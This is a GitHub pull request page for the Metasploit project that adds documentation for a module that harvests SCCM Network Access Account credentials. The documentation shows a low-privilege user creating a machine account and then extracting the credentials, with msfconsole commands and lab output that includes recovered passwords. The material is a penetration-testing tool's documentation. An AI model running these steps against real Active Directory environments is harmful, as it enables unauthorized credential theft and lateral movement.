-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Cms refactor #19757
Draft
smashery
wants to merge
19
commits into
rapid7:master
Choose a base branch
from
smashery:cms_refactor
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+996
−161
Draft
Cms refactor #19757
Changes from all commits
Commits
Show all changes
19 commits
Select commit
Hold shift + click to select a range
5dd55f0
Add initial NAA-cred-snarfing code.
smashery 2d7985b
Add crypto structures
smashery 76c2983
Working NAA retrieval on recent SCCM
smashery 03a4acf
Rubocop fixes
smashery fd3f313
Report multiple NAA creds, if present
smashery a8a782e
Get working without autodiscovery
smashery 6ec6909
MsfTidy fixes
smashery d52874a
Allow sessions to be not required. Added documentation.
smashery 6054d7c
Better error handling for NAA
smashery 0a45480
Properly support multiple NAA creds
smashery c2495af
Properly support there being no NAA creds
smashery 335825a
Search for all policies with secrets, rather than just NAAConfig
smashery 556e52d
Add missing option docs
smashery a11616d
Add support for older encryptions
smashery ad44afe
Rubocop fixes
smashery 4c7d1d8
Changes from code review
smashery 7badd24
Removed unused sccm file
smashery c6e3df8
Report creds to DB
smashery 49c8c8a
Refactor CMS data structures used in pkinit functionality
smashery File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
150 changes: 150 additions & 0 deletions
150
documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,150 @@ | ||
## NAA Credential Exploitation | ||
|
||
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but | ||
in practice is often misconfigured to have excessive privileges. | ||
|
||
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However, | ||
it can also be requested by an existing computer account, which by default most user accounts are able to create. | ||
|
||
|
||
## Module usage | ||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: | ||
|
||
1. From msfconsole | ||
2. Do: `use auxiliary/admin/dcerpc/samr_account` | ||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options | ||
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically | ||
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option | ||
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option | ||
4. Run the module and see that a new machine account was added | ||
|
||
Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used: | ||
|
||
1. `use auxiliary/admin/sccm/get_naa_credentials` | ||
2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used) | ||
3. Set the `USERNAME` and `PASSWORD` information to a domain account | ||
4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module | ||
5. Run the module to obtain the NAA credentials, if present. | ||
|
||
Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery: | ||
|
||
1. `use auxiliary/admin/sccm/get_naa_credentials` | ||
2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module | ||
3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values. | ||
4. Run the module to obtain the NAA credentials, if present. | ||
|
||
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. | ||
|
||
See the Scenarios for a more detailed walk through | ||
|
||
## Options | ||
|
||
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST | ||
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. | ||
|
||
### COMPUTER_USER, COMPUTER_PASSWORD | ||
|
||
Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of | ||
a computer account, you can use that for COMPUTER_PASSWORD. | ||
|
||
### MANAGEMENT_POINT | ||
The SCCM server. | ||
|
||
### SITE_CODE | ||
The Site Code of the management point. | ||
|
||
## Scenarios | ||
In the following example the user `ssccm.lab\eve` is a low-privilege user. | ||
|
||
### Creating computer account | ||
|
||
``` | ||
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou | ||
[*] Running module against 192.168.33.10 | ||
|
||
[*] 192.168.33.10:445 - Adding computer | ||
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$ | ||
[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj | ||
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128 | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
### Running with Autodiscovery | ||
Using the credentials just obtained with the `samr_account` module. | ||
|
||
``` | ||
msf6 auxiliary(admin/sccm/get_naa_credentials) > options | ||
|
||
Module options (auxiliary/admin/sccm/get_naa_credentials): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
COMPUTER_PASS yes The password of the provided computer account | ||
COMPUTER_USER yes The username of a computer account | ||
MANAGEMENT_POINT no The management point (SCCM server) to use | ||
SITE_CODE no The site code to use on the management point | ||
SSL false no Enable SSL on the LDAP connection | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
Used when connecting via an existing SESSION: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
SESSION 1 no The session to run this module on | ||
|
||
|
||
Used when making a new connection via RHOSTS: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
DOMAIN no The domain to authenticate to | ||
PASSWORD no The password to authenticate with | ||
RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code | ||
RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP) | ||
USERNAME no The username to authenticate with | ||
|
||
|
||
View the full module info with the info, or info -d command. | ||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj | ||
[*] Running module against 192.168.33.10 | ||
|
||
[*] Discovering base DN automatically | ||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab | ||
[+] Found Management Point: MECM.sccm.lab (Site code: P01) | ||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E | ||
[*] Waiting 5 seconds for SCCM DB to update... | ||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 | ||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
### Manual discovery | ||
|
||
``` | ||
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou | ||
[*] Running module against 192.168.33.10 | ||
|
||
[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab | ||
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab | ||
========================================================================= | ||
|
||
Name Attributes | ||
---- ---------- | ||
cn SMS-MP-P01-MECM.SCCM.LAB | ||
dnshostname MECM.sccm.lab | ||
mssmssitecode P01 | ||
|
||
[*] Query returned 1 result. | ||
[*] Auxiliary module execution completed | ||
|
||
msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials | ||
|
||
msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 | ||
|
||
[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E | ||
[*] Waiting 5 seconds for SCCM DB to update... | ||
[*] Got NAA Policy URL: http://<mp>/SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 | ||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 | ||
[*] Auxiliary module execution completed | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
minor; maybe toss in an
else
at the end if something goes sideways to help debug.